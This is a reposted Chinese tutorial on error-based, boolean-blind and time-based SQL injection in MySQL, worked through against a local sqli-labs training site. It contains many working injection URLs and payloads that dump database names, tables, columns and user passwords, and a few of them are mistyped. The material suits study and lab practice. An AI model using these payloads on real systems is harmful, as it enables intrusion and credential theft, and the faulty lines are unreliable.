1.1 sql注入分類與詳解


1.基於報錯的 SQL 盲注------構造 payload 讓信息通過錯誤提示回顯出來
       報錯注入是比較常見的錯誤,主要通過頁面返回的php代碼解析錯誤,來進行匹配,爆破
       基於錯誤的sql語句的構造
             1.幾個重要的函數
                       -count():統計元素的個數
                       -rand():用於產生一個0~1的隨機數
                       -floor():向下取整
                       -rand(0)*2將取0到2的隨機數
                       -floor(rand()*2)有兩條記錄就會報錯
                       -floor(rand(0)*2)記錄需為3條以上,且3條以上必報錯,返回的值是有規律的
                       -count(*)是用來統計結果的,相當於刷新一次結果
                       -group by在對數據進行分組時會先看看虛擬表里有沒有這個值,沒有的話就插入存在的話                                                     -count(*)加1在使用group by時floor(rand(0)*2)會被執行一次,若虛表不存在記錄,插入虛                                                    表時會再執行一次
 
            2.構造語句,造成邏輯錯誤

 
 
          information_schema這張數據表保存了MySQL服務器所有數據庫的信息。如數據庫名,
數據庫的表,表欄的數據類型與訪問權限等。再簡單點,這台MySQL服務器上,到底有哪些數
據庫、各個數據庫有哪些表,每張表的字段類型是什么,各個數據庫要什么權限才能訪問,等
等信息都保存在information_schema表里面。
 
       字段
                          含義
table_catalog
   數據表登記目錄 
table_schema
   數據表所屬的數據庫名
table_name
   表名稱
table_type
   表類型
table_rows
   表中所存多少行數據
爆出數據庫中的所有數據庫名:
select schema_name from information_schema.schemata;

爆出數據庫中所有表名

select table_name from information_schema.tables;
爆出數據庫中的列名:
select column_name from information_schema.columns where table_name='wp_users';
floor(rand(()*2)  只會產生位於0~1之間的數
 
select table_name,table_schema from information_schema.tables group by table_schema;
  即可以從information_schema.tables中查詢出表,跟數據庫
 
0x3a是 :的16進制
select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;
 
-————------
| name        |
|                  |
---------------       
|                 |
|::security::0|
---------------
或者
-————------
| name        |
|                  |
---------------       
|                  |
|::security::1|
---------------
 
concat()  : 連接兩個或多個數組
 
select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
-------————-----------------
|                   |                    |
| count(*)     |     name      |
--------------------------------
|                   |                   |
|     45          |::security::0  |
|                   |                    |
|     41          |::security::1  |
--------------------------------
但是刷新幾次發現了一個錯誤:
ERROR 1062(23000):Duplicate entry'::security::1' for key 'group_key';
 

 但是這個錯誤卻爆出了當前數據庫名,這對我們SQL注入是有用的,同理,我們可以換成不同的函數來獲取信息

 
select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from
information_schema.tables group by name;
刷新多遍,發現這個錯誤果然可以爆出數據庫的版本信息

 

 
這樣的話,我們可以嘗試爆表

 

select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
多次刷新
 
竟然真的爆出了表的名字,我們還可以通過改變limit 0,1 來獲取更多地表名
 
這里順便補充一下limit 0,1 的用法  :
select * from table limit m,n
其中m是指記錄開始的index,從0開始,表示第一條記錄,n是指從第m+1條開始,取n條。
 
limit是mysql的語法
select * from table limit m,n
其中m是指記錄開始的index, 從0開始,表示第一條記錄
n是指從第m+1條開始,取n條。
select * from tablename limit 2,4
即取出第3條至第6條,4條記
同理我們換成比較麻煩的來爆出表的名字
 
 
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2
 
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
我們可以找到username,password字段

 

http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
可以爆出用戶名
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
可以爆出用戶名對應的用戶密碼
 
 
其他方法
 
1、通過floor報錯,注入語句如下:   爆數據庫: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆表: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆字段: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆用戶名: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆密碼: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 
 
2、通過ExtractValue報錯,注入語句如下: 爆數據庫: and extractvalue(1, concat(0x5c, (select database()),0x5c)); 爆表: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c)); 爆字段: and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c)); 爆用戶: and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c)); 爆密碼: and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c)); 3、通過UpdateXml報錯,注入語句如下: 爆數據庫: and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1)) 爆表: and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1)) 爆字段: and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1)) 爆用戶: and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)) 爆密碼: and 1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1))

 


 

2:基於布爾 SQL 盲注----------構造邏輯判斷
 
 1:基於布爾 SQL 盲注----------構造邏輯判斷
 
▲ left(database(),1)>’s’ //left()函數
Explain: database()顯示數據庫名稱,left(a,b)從左側截取 a 的前 b 位
上面語句也就是判斷數據庫的第一位的ascill的值是否大於8,如果是頁面就返回正常
 
用法:http://127.0.0.1/sqlilabs/Less-7/?id=1' and left(database())>=8%23
 
▲ ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+
 
//substr()函數,ascii()函數
Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換 為 ascii 值
 
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
 
//ORD()函數,MID()函數
Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位       Ord()函數同 ascii(),將字符轉為 ascii 值
 
 
▲regexp 正則注入
用法介紹:
select user() regexp '^[a-z]';
 
Explain:正則表達式的用法,user()結果為 root,regexp 為匹配 root 的正則表達式。
 第二位可以用 
select user() regexp '^ro'
來進行。
 
示例介紹: 
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri');
通過 if 語句的條件判斷,返回一些條件句,比如 if 等構造一個判斷。根據返回結果是否等 於 0 或者 1 進行判斷。 III
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
 
這里利用 select 構造了一個判斷語句。我們只需要更換 regexp 表達式即可
 
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
 
如何知道匹配結束了?這里大部分根據一般的命名方式(經驗)就可以判斷。但是如何你在 無法判斷的情況下,可以用
table_name regexp '^username$
 
'來進行判斷。^是從開頭進行 匹配,$是從結尾開始判斷。更多的語法可以參考 mysql 使用手冊進行了解
 

 
3:基於時間的 SQL 盲注----------延時注入
 
 
▲ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
 
//if 判斷語句,條件為假, 執行 sleep
Ps:遇到以下這種利用 sleep()延時注入語句
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));
該語句意思是在 0-9 之間找版本號的第一位。但是在我們實際滲透過程中,這種用法是不可 取的,因為時間會有網速等其他因素的影響,所以會影響結果的判斷。
 
▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用於測試函數的性能,參數一為次數,二為要執行的表達 式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執 行成功。這是一種邊信道攻擊,在運行過程中占用大量的 cpu 資源。推薦使用 sleep()
函數進行注入。
 
猜測數據庫:
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
說明第一位是 s (ascii 碼是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
說明第二位是 e (ascii 碼是 101) ....

 

以此類推,我們知道了數據庫名字是 security
 
猜測 security 的數據表:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
 
 猜測第一個數據表的第一位是 e,...
依次類推,得到 emails
 
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
 
猜測第二個數據表的第一位是 r,...
依次類推,得到 referers ...
再以此類推,我們可以得到所有的數據表 emails,referers,uagents,users
 
猜測 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜測 users 表的第一個列的第一個字符是 i,
以此類推,我們得到列名是 id,username,password
 
 ````````````````
猜測 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
 
 
猜測 username 的第一行的第一位 以此類推,我們得到數據庫 username,password 的所有內容
 
 
以上的過程就是我們利用 sleep()函數注入的整個過程,當然了可以離開 BENCHMARK()函數進 行注入,這里可以自行進行測試。我們這里就不進行演示了

注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



SQL注入分類與詳解(轉載) SQL注入的分類 SQl注入的分類 sql注入過程詳解(二) sql注入原理詳解(一) sql注入詳解1 菜鳥SQL注入詳解 sql注入實例詳解(二) SQL注入漏洞 詳解 基於PHP的SQL注入詳解
 
粤ICP备14056181号  © 2014-2021 ITdaan.com